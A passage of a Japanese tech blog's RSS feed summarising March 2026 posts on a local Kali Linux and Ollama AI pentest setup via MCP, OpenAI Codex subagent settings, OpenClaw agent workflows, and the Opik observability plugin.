&lt;li&gt;100以上の言語をサポート&lt;/li&gt;
&lt;li&gt;MTEB 多言語リーダーボードで 69.9 を記録しトップランク&lt;/li&gt;
&lt;li&gt;MTEB コード検索でも 84.0 と高スコア&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="料金"&gt;料金&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;プラン&lt;/th&gt;
&lt;th&gt;料金&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;リアルタイム API&lt;/td&gt;
&lt;td&gt;$0.20 / 100万トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;バッチ API&lt;/td&gt;
&lt;td&gt;$0.10 / 100万トークン（50% OFF）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;OpenAI の text-embedding-3-small（$0.02/100万トークン）と比較すると高価だが、マルチモーダル対応を単一モデルで実現している点が差別化要因となる。&lt;/p&gt;</description></item><item><title>Kali Linux × Ollama × MCP — 完全ローカルで動く AI ペンテスト環境の構築</title><link>https://hdknr.github.io/blogs/posts/2026/03/kali-linux-ollama-mcp-%E5%AE%8C%E5%85%A8%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E3%81%A7%E5%8B%95%E3%81%8F-ai-%E3%83%9A%E3%83%B3%E3%83%86%E3%82%B9%E3%83%88%E7%92%B0%E5%A2%83%E3%81%AE%E6%A7%8B%E7%AF%89/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/kali-linux-ollama-mcp-%E5%AE%8C%E5%85%A8%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E3%81%A7%E5%8B%95%E3%81%8F-ai-%E3%83%9A%E3%83%B3%E3%83%86%E3%82%B9%E3%83%88%E7%92%B0%E5%A2%83%E3%81%AE%E6%A7%8B%E7%AF%89/</guid><description>&lt;p&gt;Kali Linux チームが、外部 SaaS に一切依存しない&lt;strong&gt;完全ローカルの AI ペンテスト支援環境&lt;/strong&gt;の構築ガイドを&lt;a href="https://www.kali.org/blog/kali-llm-ollama-5ire/"&gt;公式ブログ&lt;/a&gt;で公開した。Ollama でローカル LLM を動かし、MCP（Model Context Protocol）経由で nmap などの Kali ツールを自然言語から操作する構成だ。&lt;/p&gt;
&lt;h2 id="構成要素"&gt;構成要素&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;コンポーネント&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;アーキテクチャ上の位置づけ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ollama&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ローカル LLM サーバー。llama.cpp のラッパーとしてモデルのダウンロード・サービングを簡素化&lt;/td&gt;
&lt;td&gt;推論エンジン（脳）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;mcp-kali-server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Flask ベースの MCP サーバー（127.0.0.1:5000）。nmap, gobuster, nikto, hydra, sqlmap 等の Kali ツールを MCP 経由で公開&lt;/td&gt;
&lt;td&gt;ツールサーバー（手足）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;5ire&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;デスクトップ AI アシスタント兼 MCP クライアント。ユーザー入力を LLM に送り、LLM の応答からツール呼び出しを検出し、MCP 経由でツールを実行し、結果を LLM に戻すループを回す&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;AI エージェント&lt;/strong&gt;（オーケストレーター）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この構成で「エージェント」に相当するのは &lt;strong&gt;5ire&lt;/strong&gt; だ。LLM（Ollama）は推論を担うだけであり、ツールサーバー（mcp-kali-server）は呼ばれるのを待つだけ。ユーザーの意図を解釈し、LLM とツールの間を仲介して自律的にループを回す 5ire こそがエージェントの役割を果たしている。Claude Code に例えると、Ollama は API の向こう側の Claude モデル、mcp-kali-server は MCP サーバー、5ire は Claude Code 本体に相当する。&lt;/p&gt;</description></item><item><title>OpenAI Codex の SubAgent（Swarm）が変える AI コーディングの未来</title><link>https://hdknr.github.io/blogs/posts/2026/03/openai-codex-%E3%81%AE-subagentswarm%E3%81%8C%E5%A4%89%E3%81%88%E3%82%8B-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AE%E6%9C%AA%E6%9D%A5/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openai-codex-%E3%81%AE-subagentswarm%E3%81%8C%E5%A4%89%E3%81%88%E3%82%8B-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AE%E6%9C%AA%E6%9D%A5/</guid><description>&lt;p&gt;OpenAI Codex に搭載された SubAgent（サブエージェント）機能が話題になっています。複数の AI エージェントを並列で動かし、複雑なコーディングタスクを群（Swarm）として処理できるこの機能について、技術的な詳細をまとめます。&lt;/p&gt;
&lt;h2 id="subagent-とは何か"&gt;SubAgent とは何か&lt;/h2&gt;
&lt;p&gt;Codex の SubAgent は、メインのエージェントが複数の専門化されたエージェントを並列でスポーン（生成）し、それぞれの結果を統合するワークフロー機能です。コードベース探索やマルチステップの機能実装など、並列処理が有効なタスクに特に威力を発揮します。&lt;/p&gt;
&lt;p&gt;特筆すべきは、サブエージェントからさらにサブエージェントを生成できる（ネスト可能な）点です。これにより、複雑なタスクを再帰的に分解して処理できます。&lt;/p&gt;
&lt;h2 id="ビルトインエージェント"&gt;ビルトインエージェント&lt;/h2&gt;
&lt;p&gt;Codex には3つのビルトインエージェントが用意されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;エージェント&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;default&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;汎用フォールバック&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;worker&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;実装・修正中心のタスク&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;explorer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;コードベース探索中心のタスク&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="主要な設定パラメータ"&gt;主要な設定パラメータ&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ~/.codex/agents/ または .codex/agents/ に TOML 形式で配置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;agents&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;max_threads&lt;/span&gt; = &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; &lt;span style="color:#75715e"&gt;# 並行スレッド上限（デフォルト: 6）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;max_depth&lt;/span&gt; = &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#75715e"&gt;# ネスト深度上限（デフォルト: 1）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;job_max_runtime_seconds&lt;/span&gt; = &lt;span style="color:#ae81ff"&gt;1800&lt;/span&gt; &lt;span style="color:#75715e"&gt;# タイムアウト（デフォルト: 30分）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;max_depth&lt;/code&gt; を増やすことで、サブエージェントからさらにサブエージェントを生成する多段ネストが可能になります。&lt;/p&gt;</description></item><item><title>OpenClaw エージェントでトレーディング戦略を自動バックテスト</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A7%E3%83%88%E3%83%AC%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E6%88%A6%E7%95%A5%E3%82%92%E8%87%AA%E5%8B%95%E3%83%90%E3%83%83%E3%82%AF%E3%83%86%E3%82%B9%E3%83%88/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A7%E3%83%88%E3%83%AC%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E6%88%A6%E7%95%A5%E3%82%92%E8%87%AA%E5%8B%95%E3%83%90%E3%83%83%E3%82%AF%E3%83%86%E3%82%B9%E3%83%88/</guid><description>&lt;p&gt;OpenClaw エージェントを使って、TradingView の指標を自動スクレイピングし、Pine Script から Python に変換してバックテストまで全自動で実行する手法が話題になっています。&lt;/p&gt;
&lt;h2 id="openclaw-とは"&gt;OpenClaw とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/openclaw/openclaw"&gt;OpenClaw&lt;/a&gt; は、オーストリアの開発者 Peter Steinberger 氏が 2025 年 11 月に Claude を使って構築したオープンソースの AI エージェントです。ローカルマシン上で動作し、自然言語の指示を受けてタスクを自律的に実行します。GitHub で 32 万以上のスターを獲得しており、2026 年初頭にはユーザー数が 200 万人を超えるなど急成長しています。&lt;/p&gt;
&lt;p&gt;主な特徴:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;マルチプラットフォーム対応&lt;/strong&gt;: Mac / Windows / Linux で動作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メッセージ連携&lt;/strong&gt;: WhatsApp、Telegram、Slack、Discord など複数チャネルに対応&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スキルシステム&lt;/strong&gt;: モジュラーなプラグイン（スキル）で機能を拡張可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;永続メモリ&lt;/strong&gt;: コンテキストを記憶して継続的に動作&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="トレーディング戦略の自動バックテスト"&gt;トレーディング戦略の自動バックテスト&lt;/h2&gt;
&lt;p&gt;今回話題になっているのは、OpenClaw エージェントを使ったトレーディング戦略の自動バックテストです。&lt;/p&gt;
&lt;h3 id="処理の流れ"&gt;処理の流れ&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;TradingView 指標の自動スクレイピング&lt;/strong&gt;: TradingView から 50 以上のテクニカル指標を自動収集&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pine Script → Python 変換&lt;/strong&gt;: TradingView 独自の Pine Script で書かれた指標を Python コードに自動変換&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バックテスト実行&lt;/strong&gt;: 変換した戦略を過去データで自動検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;結果のフィルタリング&lt;/strong&gt;: 失敗した戦略を自動除外し、勝ちパターンを抽出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub へのログ&lt;/strong&gt;: テスト結果を自動で GitHub リポジトリに記録&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;設定を済ませれば、コードを一切書かずにこの一連のプロセスが自動で回り続けます。&lt;/p&gt;</description></item><item><title>OpenClaw のマークダウン駆動エージェント運用スタック：40日間の実践から学ぶ設計パターン</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%AE%E3%83%9E%E3%83%BC%E3%82%AF%E3%83%80%E3%82%A6%E3%83%B3%E9%A7%86%E5%8B%95%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E9%81%8B%E7%94%A8%E3%82%B9%E3%82%BF%E3%83%83%E3%82%AF40%E6%97%A5%E9%96%93%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%81%8B%E3%82%89%E5%AD%A6%E3%81%B6%E8%A8%AD%E8%A8%88%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%AE%E3%83%9E%E3%83%BC%E3%82%AF%E3%83%80%E3%82%A6%E3%83%B3%E9%A7%86%E5%8B%95%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E9%81%8B%E7%94%A8%E3%82%B9%E3%82%BF%E3%83%83%E3%82%AF40%E6%97%A5%E9%96%93%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%81%8B%E3%82%89%E5%AD%A6%E3%81%B6%E8%A8%AD%E8%A8%88%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</guid><description>&lt;p&gt;Google のシニア AI プロダクトマネージャー Shubham Saboo 氏が、OpenClaw エージェントを 40 日間運用した経験から導き出した「マークダウンファイル駆動のエージェント運用スタック」について紹介する。モデルを変えず、蓄積されたマークダウンファイルだけでエージェントが成長していくというアプローチだ。&lt;/p&gt;
&lt;h2 id="コアコンセプトマークダウンファイルが成長エンジン"&gt;コアコンセプト：マークダウンファイルが成長エンジン&lt;/h2&gt;
&lt;p&gt;このスタックの最大の特徴は、&lt;strong&gt;モデル自体は変わらない&lt;/strong&gt;という点にある。エージェント間の違いは「蓄積されたマークダウンファイル」にある。データベースもオーケストレーションフレームワークもメッセージキューも不要で、ディスク上のマークダウンファイルがすべてのインテグレーション層として機能する。&lt;/p&gt;
&lt;h2 id="3-層スタック構造"&gt;3 層スタック構造&lt;/h2&gt;
&lt;p&gt;エージェントの設計は以下の 3 層で構成される：&lt;/p&gt;
&lt;h3 id="1-identity-層アイデンティティ"&gt;1. Identity 層（アイデンティティ）&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SOUL.md&lt;/code&gt; がセッション起動時に毎回読み込まれる。ここにはエージェントの人格、役割、原則、関係性が定義される。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# SOUL.md
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 役割: プロジェクトマネージャー
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 原則: 簡潔さを重視、事実ベースで判断
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 性格: Dwight Schrute 的な徹底さ
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;TV キャラクターの名前をエージェントに付けるのが Saboo 氏のテクニックだ。Claude の学習データにキャラクターの性格が含まれているため、「Dwight Schrute のエネルギーで」と伝えるだけで、徹底的で真剣な仕事ぶりが期待できる。&lt;/p&gt;
&lt;h3 id="2-operations-層行動ルール"&gt;2. Operations 層（行動ルール）&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;AGENTS.md&lt;/code&gt; でセッション起動ルーティンとメモリ管理ルールを定義する。運用開始から約 1 週間後に作成するのが推奨される。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# AGENTS.md
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; セッション開始時: MEMORY.md を読み込む
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; タスク完了時: 日次ログに記録
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; エラー発生時: 修正内容をメモリに追記
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="3-knowledge-層記憶ログ"&gt;3. Knowledge 層（記憶・ログ）&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;MEMORY.md&lt;/code&gt; は約 2 週間の運用後に初期化する。日次ログをレビューし、繰り返し発生する修正パターンを恒久的なエントリとして蒸留していく。&lt;/p&gt;</description></item><item><title>OpenClawでX運用を自動化する鍵は「ナレッジ管理」にある</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%81%A7x%E9%81%8B%E7%94%A8%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E9%8D%B5%E3%81%AF%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E7%AE%A1%E7%90%86%E3%81%AB%E3%81%82%E3%82%8B/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%81%A7x%E9%81%8B%E7%94%A8%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E9%8D%B5%E3%81%AF%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E7%AE%A1%E7%90%86%E3%81%AB%E3%81%82%E3%82%8B/</guid><description>&lt;p&gt;OpenClaw を使った X（旧 Twitter）運用で、1週間で79万インプレッション・フォロワー1,000人以上増加という成果報告が話題になっています。この記事では、その成果の背景にある「ナレッジ管理」と「投稿生成プロセス」の重要性について解説します。&lt;/p&gt;
&lt;h2 id="openclaw--x運用の成果"&gt;OpenClaw × X運用の成果&lt;/h2&gt;
&lt;p&gt;@ichiaimarketer 氏が報告した成果:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;約1週間で79万インプレッション&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フォロワー1,000人以上増加&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注目すべきは、この成果は OpenClaw のツール自体の力ではなく、&lt;strong&gt;使い方&lt;/strong&gt;に依存しているという点です。&lt;/p&gt;
&lt;h2 id="鍵はナレッジ管理"&gt;鍵は「ナレッジ管理」&lt;/h2&gt;
&lt;p&gt;AI に「思いつきで投稿させる」のではなく、蓄積された知識・経験をコンテキストとして与えることが重要です。&lt;/p&gt;
&lt;h3 id="なぜナレッジ管理が重要か"&gt;なぜナレッジ管理が重要か&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コンテキストの質が出力の質を決める&lt;/strong&gt; — LLM は与えられた情報から生成するため、ナレッジベースの質が投稿の質に直結する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一貫性のあるブランディング&lt;/strong&gt; — 過去の投稿や知見を蓄積することで、アカウントとしての一貫した声が生まれる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;専門性の反映&lt;/strong&gt; — 自分の専門知識をナレッジとして整理することで、AI が専門的な投稿を生成できる&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="openclaw-でのナレッジ管理の実践"&gt;OpenClaw でのナレッジ管理の実践&lt;/h3&gt;
&lt;p&gt;OpenClaw には Knowledge Management スキルが用意されており、メモリエントリを自動的に分類・整理できます。蓄積された知見は Research、Insight、Pattern などのフォルダに分類され、タイムスタンプ付きの Markdown ファイルとして保存されます。&lt;/p&gt;
&lt;p&gt;また、OpenClaw の cron システムと組み合わせて定期的に同期することで、ナレッジベースを常に最新の状態に保てます。&lt;/p&gt;
&lt;p&gt;この整理されたナレッジをスキルから参照することで、投稿生成時に適切なコンテキストを自動的に提供できます。&lt;/p&gt;
&lt;h2 id="投稿生成プロセス"&gt;投稿生成プロセス&lt;/h2&gt;
&lt;p&gt;効果的な X 運用のための投稿生成プロセスは以下の流れです:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ナレッジの蓄積&lt;/strong&gt; — 日々の学びや知見をナレッジベースに追加&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コンテキストの構築&lt;/strong&gt; — 投稿テーマに関連するナレッジを選択&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI による生成&lt;/strong&gt; — OpenClaw の bird スキルを使って投稿を生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビューと投稿&lt;/strong&gt; — 生成された内容を確認して投稿&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="openclaw-の-bird-スキル"&gt;OpenClaw の bird スキル&lt;/h2&gt;
&lt;p&gt;OpenClaw には &lt;code&gt;bird&lt;/code&gt; というスキルが組み込まれており、X/Twitter の操作を CLI ベースで行えます:&lt;/p&gt;</description></item><item><title>Opik × OpenClaw — AI エージェントの動作を完全可視化するオブザーバビリティプラグイン</title><link>https://hdknr.github.io/blogs/posts/2026/03/opik-openclaw-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%8B%95%E4%BD%9C%E3%82%92%E5%AE%8C%E5%85%A8%E5%8F%AF%E8%A6%96%E5%8C%96%E3%81%99%E3%82%8B%E3%82%AA%E3%83%96%E3%82%B6%E3%83%BC%E3%83%90%E3%83%93%E3%83%AA%E3%83%86%E3%82%A3%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/opik-openclaw-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%8B%95%E4%BD%9C%E3%82%92%E5%AE%8C%E5%85%A8%E5%8F%AF%E8%A6%96%E5%8C%96%E3%81%99%E3%82%8B%E3%82%AA%E3%83%96%E3%82%B6%E3%83%BC%E3%83%90%E3%83%93%E3%83%AA%E3%83%86%E3%82%A3%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3/</guid><description>&lt;p&gt;OpenClaw で AI エージェントを運用していると、「エージェントが内部で何をしているのか分からない」という課題に直面します。Comet チームが開発した &lt;strong&gt;opik-openclaw&lt;/strong&gt; は、OpenClaw のエージェント動作をトレース・評価・監視できるオブザーバビリティプラグインです。AI の「ブラックボックス」を「ガラスボックス」に変えるツールとして注目されています。&lt;/p&gt;
&lt;h2 id="opik-とは"&gt;Opik とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/comet-ml/opik"&gt;Opik&lt;/a&gt; は、&lt;a href="https://www.comet.com/"&gt;Comet&lt;/a&gt; が開発する Apache 2.0 ライセンスのオープンソース LLM オブザーバビリティプラットフォームです（GitHub で 18,000 以上のスター）。LLM アプリケーションのライフサイクル全体 — 開発・評価・本番監視 — をカバーする統合基盤として設計されています。&lt;/p&gt;
&lt;h3 id="opik-の-3-つの柱"&gt;Opik の 3 つの柱&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. トレーシング（開発）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;すべての LLM 呼び出しについて、プロンプト・レスポンス・メタデータ・コスト・レイテンシを詳細に記録します。1 日あたり 4,000 万以上のトレースを処理できるスケーラビリティを持ち、Prompt Playground でプロンプトの実験・比較も可能です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 評価とテスト&lt;/strong&gt;&lt;/p&gt;
